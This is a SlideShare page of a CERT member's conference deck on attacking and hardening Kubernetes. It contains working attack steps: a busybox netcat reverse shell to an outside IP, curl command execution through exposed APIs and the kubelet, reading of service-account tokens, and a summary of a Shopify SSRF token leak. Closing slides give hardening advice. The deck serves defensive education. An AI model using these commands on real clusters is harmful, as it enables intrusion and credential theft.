SlideShare a Scribd company logo
Securing Attacking
Kubernetes
[_evict @ KPN-CERT]
1 / 42
whoami
works for KPN in the CERT team
infoSec / hacking enthusiast
attacker gone defender
<3 binary stuff
2 / 42
ls -l
what is kubernetes?
how to interact with kubernetes
common pitfalls
some dem0z
advice
3 / 42
/bin/kubernetes -h
open source container orchestration
written in go
uses docker
released by Google on 07/06/2014
July 2015 Kubernetes is part of Cloud Native
Computing Foundation
4 / 42
kubectl -h
5 / 42
kubectl get namespaces
namespaces determine scope
administrative boundaries
resource restrictions
access control
$ kubectl get ns
NAME STATUS AGE
default Active 23d
kube-public Active 23d
kube-system Active 23d
safe-space Active 2h
6 / 42
kubectl get pods
kubernetes works with pods
a pod is a collection of one or more containers
configuration in yaml
images are freely available
pods are job based
$ kubectl get pods --namespace=kube-system
NAME READY
calico-etcd-rswwr 1/1
calico-kube-controllers-84fd4db7cd-twxh7 1/1
calico-node-mmpqm 2/2
coredns-78fcdf6894-th6ws 1/1
coredns-78fcdf6894-wrrzl 1/1
etcd-super-secure-k82 1/1
kube-apiserver-super-secure-k82 1/1
kube-controller-manager-super-secure-k82 1/1
kube-proxy-jcm7n 1/1
kube-scheduler-super-secure-k82 1/1
kubernetes-dashboard-6948bdb78-4kg5c 1/1
7 / 42
kubectl create -f demo.yml
apiVersion: v1
kind: Pod
metadata:
name: super-c00l-c0ntain3r
namespace: all-alone
spec:
restartPolicy: Never
containers:
- name: container
image: "ubuntu:14.04"
command: ["sh", "-c",
"while true; do echo hello world; sleep 10; done;"]
8 / 42
kubectl exec
executing commands on pods
opening a shell on nepal:
$ kubectl exec nepal -i --tty --namespace=countries -- /bin/bash
root@nepal:/# ls
bin dev home lib64 mnt proc run srv tmp var
boot etc lib media opt root sbin sys usr
root@nepal:/#
-i is interactive
--tty set STDIN as TTY
9 / 42
kubectl get svc
another abstraction layer
clusterIP proxy services
loadbalances / exposes services from pods
$ kubectl get svc --all-namespaces
NAMESPACE NAME TYPE CLUSTER-IP
default kubernetes ClusterIP 10.96.0.1
kube-system calico-etcd ClusterIP 10.96.232.136
kube-system kube-dns ClusterIP 10.96.0.10
kube-system kubernetes-dashboard ClusterIP 10.102.156.98
countries nepal NodePort 10.108.209.230
10 / 42
kubectl get secrets
Object to hold sensitive information
Created automatically for API access
$ kubectl get secrets --all-namespaces
NAMESPACE NAME
default default-token-h2rnd
kube-public default-token-zwtkt
kube-system attachdetach-controller-token-nsvgz
kube-system bootstrap-signer-token-6w725
[...SNIP...]
kube-system token-cleaner-token-dqww6
kube-system ttl-controller-token-7fd48
countries default-token-xgjmm
countries supersecret-token-token-8qrlc
11 / 42
what
could
go
wrong?
exposed endpoints
unrestricted APIs
internet facing API
privileged containers
internal API / dashboard access
12 / 42
what
could
go
wrong?
what
went
wrong?
found kubernetes endpoint
managed to create a pod
scanned the internal network
found a jenkins box without
authentication :-)
13 / 42
what
could
go
wrong?
what
went
wrong?
what
is
going
wrong?
14 / 42
15 / 42
./pwnp0d.sh
16 / 42
Example 1
access to a pod via API (real world example)
$ curl -v -s -d '{"command":"hostname"}'
-H "Content-Type: application/json"
-X POST https://victim.cloud.k8s.nl/command --insecure
* Trying 10.165.209.25...
[...SNIP...]
> POST /command HTTP/1.1
> Host: victim.cloud.k8s.nl
> User-Agent: curl/7.55.1
> Accept: */*
> Content-Type: application/json
> Content-Length: 22
>
* upload completely sent off: 22 out of 22 bytes
< HTTP/1.1 200 OK
< Server: nginx/1.13.3
< Date: Mon, 02 Oct 2017 13:51:29 GMT
< Content-Type: application/json; charset=UTF-8
< Content-Length: 59
< Connection: keep-alive
< Strict-Transport-Security: max-age=15724800; includeSubDomains;
<
* Connection #0 to host victim.cloud.k8s.nl left intact
{"command":"hostname","output":"bad-red-807241626-189szn"}%
built Python wrapper to mimic shell :-)
17 / 42
getting
actual
shell
$ busybox nc 188.201.254.90 1337 -e /bin/sh &
18 / 42
getting
actual
shell
doing
recon
$ busybox nc 188.201.254.90 1337 -e /bin/sh &
$ printenv
HOSTNAME=container1
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
[...TRUNCATED...]
alternative cat /proc/self/environ
19 / 42
getting
actual
shell
doing
recon
$ busybox nc 188.201.254.90 1337 -e /bin/sh &
$ printenv
HOSTNAME=container1
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
[...TRUNCATED...]
$ ls /var/run/secrets/kubernetes.io/serviceaccount
ca.crt namespace token
20 / 42
getting
actual
shell
doing
recon
$ busybox nc 188.201.254.90 1337 -e /bin/sh &
$ printenv
HOSTNAME=container1
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
[...TRUNCATED...]
$ ls /var/run/secrets/kubernetes.io/serviceaccount
ca.crt namespace token
$ nc -v 10.96.0.1 443
Connection to 10.96.0.1 443 port [tcp/https]
succeeded!
^ It is possible to access the API.
21 / 42
DEMO 1
access to a pod
attempt privesc
pwn host? ;-)
22 / 42
23 / 42
privileged mode
$ cat /etc/kubernetes/manifests/kube-apiserver.yaml
apiVersion: v1
kind: Pod
metadata:
annotations:
scheduler.alpha.kubernetes.io/critical-pod: ""
creationTimestamp: null
labels:
component: kube-apiserver
tier: control-plane
name: kube-apiserver
namespace: kube-system
spec:
containers:
- command:
- kube-apiserver
- --authorization-mode=Node,RBAC
- --advertise-address=10.0.2.15
- --allow-privileged=true <----- THIS BASTARD RIGHT HERE
> [...SNIP...]
24 / 42
privileged mode
> Processes within the container get almost the
same privileges that are available to processes
outside a container.
Great, right?
25 / 42
Example 2
accessible kubernetes-dashboard
version < 1.7 full admin priv by default
>= 1.7 minimal privileges granted, admin revoked
website displays steps for enabling admin (not
recommended)
26 / 42
inside
pod
do
privesc
$ ./kubectl get po --namespace=safe-space
NAME READY STATUS RESTARTS AGE
container2 1/1 Running 0 8m
running in safe space
$ ./kubectl --namespace=safe-space create -f 
escape.yml
Error from server (Forbidden): error when creating
"escape.yml" pods is forbidden:
User "system:serviceaccount:safe-space:default"
cannot create pods in the namespace "safe-space"
$ ./kubectl --namespace=default create -f escape.yml
Error from server (Forbidden): error when creating
"escape.yml" pods is forbidden:
User "system:serviceaccount:safe-space:default"
cannot create pods in the namespace "default"
oh noes, no privesc?
27 / 42
inside
pod
do
privesc
recon...
$ ./kubectl get svc --namespace=kube-system
NAME CLUSTER-IP PORT(S)
calico-etcd 10.96.232.136 6666/TCP
kube-dns 10.96.0.10 53/UDP,53/TCP
kubernetes-dashboard 10.97.154.242 443/TCP
^ that dashboard looks interesting
28 / 42
inside
pod
do
privesc
recon...
$ ./kubectl get svc --namespace=kube-system
NAME CLUSTER-IP PORT(S)
calico-etcd 10.96.232.136 6666/TCP
kube-dns 10.96.0.10 53/UDP,53/TCP
kubernetes-dashboard 10.97.154.242 443/TCP
$ curl -v https://10.97.154.242 -k
[...SSL_STUFFZ...]
> GET / HTTP/1.1
> User-Agent: curl/7.35.0
> Host: 10.97.154.242
> Accept: */*
>
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Cache-Control: no-store
< Content-Length: 990
< Content-Type: text/html; charset=utf-8
< Last-Modified: Tue, 13 Feb 2018 11:17:03 GMT
< Date: Mon, 21 May 2018 08:59:25 GMT
<
<!doctype html> <html ng-app="kubernetesDashboard">
[...SNIP...]
yay! access to dashboardz
29 / 42
DEMO 2
access to pod in countries
attempt privesc
pwn host?
30 / 42
Example 3
port 10250 exposed
before 09/02/2018 exposed kubelet API
allowed unauthenticated code execution
now authenticated by default
readonly port 10255 still unauthenticated
$ curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io"
-H "X-Stream-Protocol-Version: channel.k8s.io"
-X POST "https://kube-node-here:10250/exec/<namespace>/<podname>/
<container-name>
?command=touch&command=hello_world
&input=1&output=1&tty=1"
https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-
kubelet-823be5c3d67c
31 / 42
pod
info
$ curl -v http://192.168.56.3:10255/pods | jq
[...SNIP...]
> GET /pods HTTP/1.1
> Host: 192.168.56.3:10255
> User-Agent: curl/7.55.1
> Accept: */*
>
{
"kind": "PodList",
"apiVersion": "v1",
"metadata": {},
"items": [
{
"metadata": {
"name": "container1",
"namespace": "default",
"selfLink": "/api/v1/namespaces/default/pods/
container1",
"spec": {
"volumes": [
{
"name": "default-token-svx6h",
"secret": {
"secretName": "default-token-svx6h",
"defaultMode": 420
}
}
]
]
32 / 42
pod
info
volume
info
$ curl -v http://192.168.56.3:10255/stats/ 
| grep device
> GET /stats/ HTTP/1.1
> Host: 192.168.56.3:10255
> User-Agent: curl/7.55.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: application/json
< Date: Mon, 21 May 2018 10:36:55 GMT
< Transfer-Encoding: chunked
<
"device": "/dev/dm-1",
"device": "/dev/mapper/super--secure--
kubernetes--vg-root",
"device": "/dev/sda",
"device": "/dev/sdb",
"device": "tmpfs",
33 / 42
Example 4
shopify SSRF
Disclosed serviceaccount token through SSRF:
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-
accounts/default/token
Made request using token to kube-env
curl -X GET http://metadata.google.internal/computeMetadata/v1beta1/
instance/attributes/kube-env?alt=json
-H "Authorization: Bearer SUPERSECRETTOKEN=="
Disclosed private keys for Kubelet:
$ kubectl --client-certificate client.crt --client-key client.pem
--certificate-authority ca.crt
--server https://some.shopify.shop
get pods --all-namespaces
[PODS]
¯_(ツ)_/¯ Root on all shopify pods.
https://hackerone.com/reports/341876
34 / 42
35 / 42
harden
network
define tiers (labels) e.g. frontend /
backend
setup egress / ingress rules
segment administrative / dev / prod
namespaces
filter service ports:
node controller: 10250 / 10255 / 10256 (tcp)
kubelet: 6443 (tcp)
etcd: 2379 (tcp)
calico: 9099 (tcp)
Do not expose node to the internet
(!!)
36 / 42
harden
network
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: foo-deny-egress
spec:
podSelector:
matchLabels:
app: foo
policyTypes:
- Egress
egress:
# allow port 53 TCP/UDP
- ports:
- port: 53
protocol: UDP
- port: 53
protocol: TCP
https://github.com/ahmetb/kubernetes-network-policy-recipes/blob/master/11-deny-egress-
traffic-from-an-application.md
37 / 42
harden
network
harden
node
limit service exposure
limit user access (SSH pubkey)
disable privileged mode (if possible)
setup proper logging
do not auto-mount service account
credentials
use latest version of Kubernetes
run kube-bench / kubesec
https://github.com/aquasecurity/kube-bench
https://kubesec.io/
38 / 42
harden
network
harden
node
harden
pods
do not run as root by default
set pod security context
disable privesc (yes, this is an
option)
set DenyEscalatingExec on privileged
pods
set AllowPrivilegeEscalation to False
check containers for vulnerable
software
https://github.com/ahmetb/kubernetes-network-policy-recipes
39 / 42
harden
network
harden
node
harden
pods
apiVersion: v1
kind: Pod
metadata:
name: security-context-example
spec:
securityContext:
runAsUser: 1000
fsGroup: 2000
volumes:
- name: sec-1337-volume
emptyDir: {}
containers:
- name: sec-1337-demo
image: k8s.io/this-is-a-great-demo
volumeMounts:
- name: sec-1337-volume
mountPath: /data/folder
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
runAsNonRoot: true
capabilities:
drop:
- NET_RAW
- CHOWN
40 / 42
harden
network
harden
node
harden
pods
harden
accounts
service account should be limited /
not mounted
whitelist accounts per pod /
namespace
apply least privilege principle
41 / 42
harden
network
harden
node
harden
pods
harden
accounts
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
name: pod-reader
rules:
- apiGroups: [""] # "" indicates the core API group
resources: ["pods", "services"]
verbs: ["get", "list"]
42 / 42

More Related Content

What's hot

Docker security
Docker securityDocker security
Docker security
Janos Suto
 
Running Docker in Development & Production (DevSum 2015)
Running Docker in Development & Production (DevSum 2015)Running Docker in Development & Production (DevSum 2015)
Running Docker in Development & Production (DevSum 2015)
Ben Hall
 
Docker Runtime Security
Docker Runtime SecurityDocker Runtime Security
Docker Runtime Security
Sysdig
 
Lessons from running potentially malicious code inside Docker containers
Lessons from running potentially malicious code inside Docker containersLessons from running potentially malicious code inside Docker containers
Lessons from running potentially malicious code inside Docker containers
Ben Hall
 
From Monolith to Docker Distributed Applications
From Monolith to Docker Distributed ApplicationsFrom Monolith to Docker Distributed Applications
From Monolith to Docker Distributed Applications
Carlos Sanchez
 
Deploying Windows Containers on Windows Server 2016
Deploying Windows Containers on Windows Server 2016Deploying Windows Containers on Windows Server 2016
Deploying Windows Containers on Windows Server 2016
Ben Hall
 
Vagrant for real (codemotion rome 2016)
Vagrant for real (codemotion rome 2016)Vagrant for real (codemotion rome 2016)
Vagrant for real (codemotion rome 2016)
Michele Orselli
 
Real World Experience of Running Docker in Development and Production
Real World Experience of Running Docker in Development and ProductionReal World Experience of Running Docker in Development and Production
Real World Experience of Running Docker in Development and Production
Ben Hall
 
Multinode kubernetes-cluster
Multinode kubernetes-clusterMultinode kubernetes-cluster
Multinode kubernetes-cluster
Ram Nath
 
Continuous Integration: SaaS vs Jenkins in Cloud
Continuous Integration: SaaS vs Jenkins in CloudContinuous Integration: SaaS vs Jenkins in Cloud
Continuous Integration: SaaS vs Jenkins in Cloud
Ideato
 
Continuous Delivery: The Next Frontier
Continuous Delivery: The Next FrontierContinuous Delivery: The Next Frontier
Continuous Delivery: The Next Frontier
Carlos Sanchez
 
Running High Performance and Fault Tolerant Elasticsearch Clusters on Docker
Running High Performance and Fault Tolerant Elasticsearch Clusters on DockerRunning High Performance and Fault Tolerant Elasticsearch Clusters on Docker
Running High Performance and Fault Tolerant Elasticsearch Clusters on Docker
Sematext Group, Inc.
 
Amazon EC2 Container Service in Action
Amazon EC2 Container Service in ActionAmazon EC2 Container Service in Action
Amazon EC2 Container Service in Action
Remotty
 
Running .NET on Docker
Running .NET on DockerRunning .NET on Docker
Running .NET on Docker
Ben Hall
 
kubernetes practice
kubernetes practicekubernetes practice
kubernetes practice
wonyong hwang
 
Real World Lessons on the Pain Points of Node.JS Application
Real World Lessons on the Pain Points of Node.JS ApplicationReal World Lessons on the Pain Points of Node.JS Application
Real World Lessons on the Pain Points of Node.JS Application
Ben Hall
 
How to create a multi tenancy for an interactive data analysis with jupyter h...
How to create a multi tenancy for an interactive data analysis with jupyter h...How to create a multi tenancy for an interactive data analysis with jupyter h...
How to create a multi tenancy for an interactive data analysis with jupyter h...
Tiago Simões
 
The How and Why of Windows containers
The How and Why of Windows containersThe How and Why of Windows containers
The How and Why of Windows containers
Ben Hall
 
Docker toolbox
Docker toolboxDocker toolbox
Docker toolbox
Yonghwee Kim
 
CI and CD at Scale: Scaling Jenkins with Docker and Apache Mesos
CI and CD at Scale: Scaling Jenkins with Docker and Apache MesosCI and CD at Scale: Scaling Jenkins with Docker and Apache Mesos
CI and CD at Scale: Scaling Jenkins with Docker and Apache Mesos
Carlos Sanchez
 

What's hot (20)

Docker security
Docker securityDocker security
Docker security
 
Running Docker in Development & Production (DevSum 2015)
Running Docker in Development & Production (DevSum 2015)Running Docker in Development & Production (DevSum 2015)
Running Docker in Development & Production (DevSum 2015)
 
Docker Runtime Security
Docker Runtime SecurityDocker Runtime Security
Docker Runtime Security
 
Lessons from running potentially malicious code inside Docker containers
Lessons from running potentially malicious code inside Docker containersLessons from running potentially malicious code inside Docker containers
Lessons from running potentially malicious code inside Docker containers
 
From Monolith to Docker Distributed Applications
From Monolith to Docker Distributed ApplicationsFrom Monolith to Docker Distributed Applications
From Monolith to Docker Distributed Applications
 
Deploying Windows Containers on Windows Server 2016
Deploying Windows Containers on Windows Server 2016Deploying Windows Containers on Windows Server 2016
Deploying Windows Containers on Windows Server 2016
 
Vagrant for real (codemotion rome 2016)
Vagrant for real (codemotion rome 2016)Vagrant for real (codemotion rome 2016)
Vagrant for real (codemotion rome 2016)
 
Real World Experience of Running Docker in Development and Production
Real World Experience of Running Docker in Development and ProductionReal World Experience of Running Docker in Development and Production
Real World Experience of Running Docker in Development and Production
 
Multinode kubernetes-cluster
Multinode kubernetes-clusterMultinode kubernetes-cluster
Multinode kubernetes-cluster
 
Continuous Integration: SaaS vs Jenkins in Cloud
Continuous Integration: SaaS vs Jenkins in CloudContinuous Integration: SaaS vs Jenkins in Cloud
Continuous Integration: SaaS vs Jenkins in Cloud
 
Continuous Delivery: The Next Frontier
Continuous Delivery: The Next FrontierContinuous Delivery: The Next Frontier
Continuous Delivery: The Next Frontier
 
Running High Performance and Fault Tolerant Elasticsearch Clusters on Docker
Running High Performance and Fault Tolerant Elasticsearch Clusters on DockerRunning High Performance and Fault Tolerant Elasticsearch Clusters on Docker
Running High Performance and Fault Tolerant Elasticsearch Clusters on Docker
 
Amazon EC2 Container Service in Action
Amazon EC2 Container Service in ActionAmazon EC2 Container Service in Action
Amazon EC2 Container Service in Action
 
Running .NET on Docker
Running .NET on DockerRunning .NET on Docker
Running .NET on Docker
 
kubernetes practice
kubernetes practicekubernetes practice
kubernetes practice
 
Real World Lessons on the Pain Points of Node.JS Application
Real World Lessons on the Pain Points of Node.JS ApplicationReal World Lessons on the Pain Points of Node.JS Application
Real World Lessons on the Pain Points of Node.JS Application
 
How to create a multi tenancy for an interactive data analysis with jupyter h...
How to create a multi tenancy for an interactive data analysis with jupyter h...How to create a multi tenancy for an interactive data analysis with jupyter h...
How to create a multi tenancy for an interactive data analysis with jupyter h...
 
The How and Why of Windows containers
The How and Why of Windows containersThe How and Why of Windows containers
The How and Why of Windows containers
 
Docker toolbox
Docker toolboxDocker toolbox
Docker toolbox
 
CI and CD at Scale: Scaling Jenkins with Docker and Apache Mesos
CI and CD at Scale: Scaling Jenkins with Docker and Apache MesosCI and CD at Scale: Scaling Jenkins with Docker and Apache Mesos
CI and CD at Scale: Scaling Jenkins with Docker and Apache Mesos
 

Similar to Vincent Ruijter - ~Securing~ Attacking Kubernetes

Build Your Own CaaS (Container as a Service)
Build Your Own CaaS (Container as a Service)Build Your Own CaaS (Container as a Service)
Build Your Own CaaS (Container as a Service)
HungWei Chiu
 
Kubernetes
KubernetesKubernetes
Kubernetes
Meng-Ze Lee
 
Artem Zhurbila - docker clusters (solit 2015)
Artem Zhurbila - docker clusters (solit 2015)Artem Zhurbila - docker clusters (solit 2015)
Artem Zhurbila - docker clusters (solit 2015)
Artem Zhurbila
 
Control Plane: Continuous Kubernetes Security (DevSecOps - London Gathering, ...
Control Plane: Continuous Kubernetes Security (DevSecOps - London Gathering, ...Control Plane: Continuous Kubernetes Security (DevSecOps - London Gathering, ...
Control Plane: Continuous Kubernetes Security (DevSecOps - London Gathering, ...
Michael Man
 
Container Deployment and Management with kubernetes
Container Deployment and Management with kubernetesContainer Deployment and Management with kubernetes
Container Deployment and Management with kubernetes
siuyin
 
Docker perl build
Docker perl buildDocker perl build
Docker perl build
Workhorse Computing
 
Kubernetes 101 for_penetration_testers_-_null_mumbai
Kubernetes 101 for_penetration_testers_-_null_mumbaiKubernetes 101 for_penetration_testers_-_null_mumbai
Kubernetes 101 for_penetration_testers_-_null_mumbai
n|u - The Open Security Community
 
桃園市教育局Docker技術入門與實作
桃園市教育局Docker技術入門與實作桃園市教育局Docker技術入門與實作
桃園市教育局Docker技術入門與實作
Philip Zheng
 
手把手帶你學Docker 03042017
手把手帶你學Docker 03042017手把手帶你學Docker 03042017
手把手帶你學Docker 03042017
Paul Chao
 
How Puppet Enables the Use of Lightweight Virtualized Containers - PuppetConf...
How Puppet Enables the Use of Lightweight Virtualized Containers - PuppetConf...How Puppet Enables the Use of Lightweight Virtualized Containers - PuppetConf...
How Puppet Enables the Use of Lightweight Virtualized Containers - PuppetConf...
Puppet
 
Kubernetes laravel and kubernetes
Kubernetes   laravel and kubernetesKubernetes   laravel and kubernetes
Kubernetes laravel and kubernetes
William Stewart
 
時代在變 Docker 要會:台北 Docker 一日入門篇
時代在變 Docker 要會:台北 Docker 一日入門篇時代在變 Docker 要會:台北 Docker 一日入門篇
時代在變 Docker 要會:台北 Docker 一日入門篇
Philip Zheng
 
Rooting Out Root: User namespaces in Docker
Rooting Out Root: User namespaces in DockerRooting Out Root: User namespaces in Docker
Rooting Out Root: User namespaces in Docker
Phil Estes
 
Docker Security workshop slides
Docker Security workshop slidesDocker Security workshop slides
Docker Security workshop slides
Docker, Inc.
 
ABCs of docker
ABCs of dockerABCs of docker
ABCs of docker
Sabyrzhan Tynybayev
 
Docker, Kubernetes, and Google Cloud
Docker, Kubernetes, and Google CloudDocker, Kubernetes, and Google Cloud
Docker, Kubernetes, and Google Cloud
Samuel Chow
 
k8s practice 2023.pptx
k8s practice 2023.pptxk8s practice 2023.pptx
k8s practice 2023.pptx
wonyong hwang
 
Kubernetes installation
Kubernetes installationKubernetes installation
Kubernetes installation
Ahmed Mekawy
 
Learn kubernetes in 90 minutes
Learn kubernetes in 90 minutesLearn kubernetes in 90 minutes
Learn kubernetes in 90 minutes
Larry Cai
 
Docker workshop
Docker workshopDocker workshop
Docker workshopEvans Ye
 

Similar to Vincent Ruijter - ~Securing~ Attacking Kubernetes (20)

Build Your Own CaaS (Container as a Service)
Build Your Own CaaS (Container as a Service)Build Your Own CaaS (Container as a Service)
Build Your Own CaaS (Container as a Service)
 
Kubernetes
KubernetesKubernetes
Kubernetes
 
Artem Zhurbila - docker clusters (solit 2015)
Artem Zhurbila - docker clusters (solit 2015)Artem Zhurbila - docker clusters (solit 2015)
Artem Zhurbila - docker clusters (solit 2015)
 
Control Plane: Continuous Kubernetes Security (DevSecOps - London Gathering, ...
Control Plane: Continuous Kubernetes Security (DevSecOps - London Gathering, ...Control Plane: Continuous Kubernetes Security (DevSecOps - London Gathering, ...
Control Plane: Continuous Kubernetes Security (DevSecOps - London Gathering, ...
 
Container Deployment and Management with kubernetes
Container Deployment and Management with kubernetesContainer Deployment and Management with kubernetes
Container Deployment and Management with kubernetes
 
Docker perl build
Docker perl buildDocker perl build
Docker perl build
 
Kubernetes 101 for_penetration_testers_-_null_mumbai
Kubernetes 101 for_penetration_testers_-_null_mumbaiKubernetes 101 for_penetration_testers_-_null_mumbai
Kubernetes 101 for_penetration_testers_-_null_mumbai
 
桃園市教育局Docker技術入門與實作
桃園市教育局Docker技術入門與實作桃園市教育局Docker技術入門與實作
桃園市教育局Docker技術入門與實作
 
手把手帶你學Docker 03042017
手把手帶你學Docker 03042017手把手帶你學Docker 03042017
手把手帶你學Docker 03042017
 
How Puppet Enables the Use of Lightweight Virtualized Containers - PuppetConf...
How Puppet Enables the Use of Lightweight Virtualized Containers - PuppetConf...How Puppet Enables the Use of Lightweight Virtualized Containers - PuppetConf...
How Puppet Enables the Use of Lightweight Virtualized Containers - PuppetConf...
 
Kubernetes laravel and kubernetes
Kubernetes   laravel and kubernetesKubernetes   laravel and kubernetes
Kubernetes laravel and kubernetes
 
時代在變 Docker 要會:台北 Docker 一日入門篇
時代在變 Docker 要會:台北 Docker 一日入門篇時代在變 Docker 要會:台北 Docker 一日入門篇
時代在變 Docker 要會:台北 Docker 一日入門篇
 
Rooting Out Root: User namespaces in Docker
Rooting Out Root: User namespaces in DockerRooting Out Root: User namespaces in Docker
Rooting Out Root: User namespaces in Docker
 
Docker Security workshop slides
Docker Security workshop slidesDocker Security workshop slides
Docker Security workshop slides
 
ABCs of docker
ABCs of dockerABCs of docker
ABCs of docker
 
Docker, Kubernetes, and Google Cloud
Docker, Kubernetes, and Google CloudDocker, Kubernetes, and Google Cloud
Docker, Kubernetes, and Google Cloud
 
k8s practice 2023.pptx
k8s practice 2023.pptxk8s practice 2023.pptx
k8s practice 2023.pptx
 
Kubernetes installation
Kubernetes installationKubernetes installation
Kubernetes installation
 
Learn kubernetes in 90 minutes
Learn kubernetes in 90 minutesLearn kubernetes in 90 minutes
Learn kubernetes in 90 minutes
 
Docker workshop
Docker workshopDocker workshop
Docker workshop
 

More from hacktivity

Zsombor Kovács - Cheaters for Everything from Minesweeper to Mobile Banking ...
Zsombor Kovács - 	Cheaters for Everything from Minesweeper to Mobile Banking ...Zsombor Kovács - 	Cheaters for Everything from Minesweeper to Mobile Banking ...
Zsombor Kovács - Cheaters for Everything from Minesweeper to Mobile Banking ...
hacktivity
 
Balázs Bucsay - XFLTReaT: Building a Tunnel
Balázs Bucsay - XFLTReaT: Building a TunnelBalázs Bucsay - XFLTReaT: Building a Tunnel
Balázs Bucsay - XFLTReaT: Building a Tunnel
hacktivity
 
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webappsMikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
hacktivity
 
Rodrigo Branco - How Offensive Security is Defining the Way We Compute // Key...
Rodrigo Branco - How Offensive Security is Defining the Way We Compute // Key...Rodrigo Branco - How Offensive Security is Defining the Way We Compute // Key...
Rodrigo Branco - How Offensive Security is Defining the Way We Compute // Key...
hacktivity
 
Gabrial Cirlig & Stefan Tanase - Smart Car Forensics and Vehicle Weaponization
Gabrial Cirlig & Stefan Tanase - Smart Car Forensics and Vehicle WeaponizationGabrial Cirlig & Stefan Tanase - Smart Car Forensics and Vehicle Weaponization
Gabrial Cirlig & Stefan Tanase - Smart Car Forensics and Vehicle Weaponization
hacktivity
 
Csongor Tamás - Examples of Locality Sensitive Hashing & their Usage for Malw...
Csongor Tamás - Examples of Locality Sensitive Hashing & their Usage for Malw...Csongor Tamás - Examples of Locality Sensitive Hashing & their Usage for Malw...
Csongor Tamás - Examples of Locality Sensitive Hashing & their Usage for Malw...
hacktivity
 
Matthias Deeg - Bypassing an Enterprise-Grade Biometric Face Authentication S...
Matthias Deeg - Bypassing an Enterprise-Grade Biometric Face Authentication S...Matthias Deeg - Bypassing an Enterprise-Grade Biometric Face Authentication S...
Matthias Deeg - Bypassing an Enterprise-Grade Biometric Face Authentication S...
hacktivity
 
Gergely Biczók - Interdependent Privacy & the Psychology of Likes
Gergely Biczók - Interdependent Privacy & the Psychology of LikesGergely Biczók - Interdependent Privacy & the Psychology of Likes
Gergely Biczók - Interdependent Privacy & the Psychology of Likes
hacktivity
 
Paolo Stagno - A Drone Tale: All Your Drones Belong To Us
Paolo Stagno - A Drone Tale: All Your Drones Belong To UsPaolo Stagno - A Drone Tale: All Your Drones Belong To Us
Paolo Stagno - A Drone Tale: All Your Drones Belong To Us
hacktivity
 
Jack S (linkcabin) - Becoming The Quiz Master: Thanks RE.
Jack S (linkcabin) - Becoming The Quiz Master: Thanks RE.Jack S (linkcabin) - Becoming The Quiz Master: Thanks RE.
Jack S (linkcabin) - Becoming The Quiz Master: Thanks RE.
hacktivity
 
Zoltán Balázs - Ethereum Smart Contract Hacking Explained like I’m Five
Zoltán Balázs - Ethereum Smart Contract Hacking Explained like I’m FiveZoltán Balázs - Ethereum Smart Contract Hacking Explained like I’m Five
Zoltán Balázs - Ethereum Smart Contract Hacking Explained like I’m Five
hacktivity
 

More from hacktivity (11)

Zsombor Kovács - Cheaters for Everything from Minesweeper to Mobile Banking ...
Zsombor Kovács - 	Cheaters for Everything from Minesweeper to Mobile Banking ...Zsombor Kovács - 	Cheaters for Everything from Minesweeper to Mobile Banking ...
Zsombor Kovács - Cheaters for Everything from Minesweeper to Mobile Banking ...
 
Balázs Bucsay - XFLTReaT: Building a Tunnel
Balázs Bucsay - XFLTReaT: Building a TunnelBalázs Bucsay - XFLTReaT: Building a Tunnel
Balázs Bucsay - XFLTReaT: Building a Tunnel
 
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webappsMikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
 
Rodrigo Branco - How Offensive Security is Defining the Way We Compute // Key...
Rodrigo Branco - How Offensive Security is Defining the Way We Compute // Key...Rodrigo Branco - How Offensive Security is Defining the Way We Compute // Key...
Rodrigo Branco - How Offensive Security is Defining the Way We Compute // Key...
 
Gabrial Cirlig & Stefan Tanase - Smart Car Forensics and Vehicle Weaponization
Gabrial Cirlig & Stefan Tanase - Smart Car Forensics and Vehicle WeaponizationGabrial Cirlig & Stefan Tanase - Smart Car Forensics and Vehicle Weaponization
Gabrial Cirlig & Stefan Tanase - Smart Car Forensics and Vehicle Weaponization
 
Csongor Tamás - Examples of Locality Sensitive Hashing & their Usage for Malw...
Csongor Tamás - Examples of Locality Sensitive Hashing & their Usage for Malw...Csongor Tamás - Examples of Locality Sensitive Hashing & their Usage for Malw...
Csongor Tamás - Examples of Locality Sensitive Hashing & their Usage for Malw...
 
Matthias Deeg - Bypassing an Enterprise-Grade Biometric Face Authentication S...
Matthias Deeg - Bypassing an Enterprise-Grade Biometric Face Authentication S...Matthias Deeg - Bypassing an Enterprise-Grade Biometric Face Authentication S...
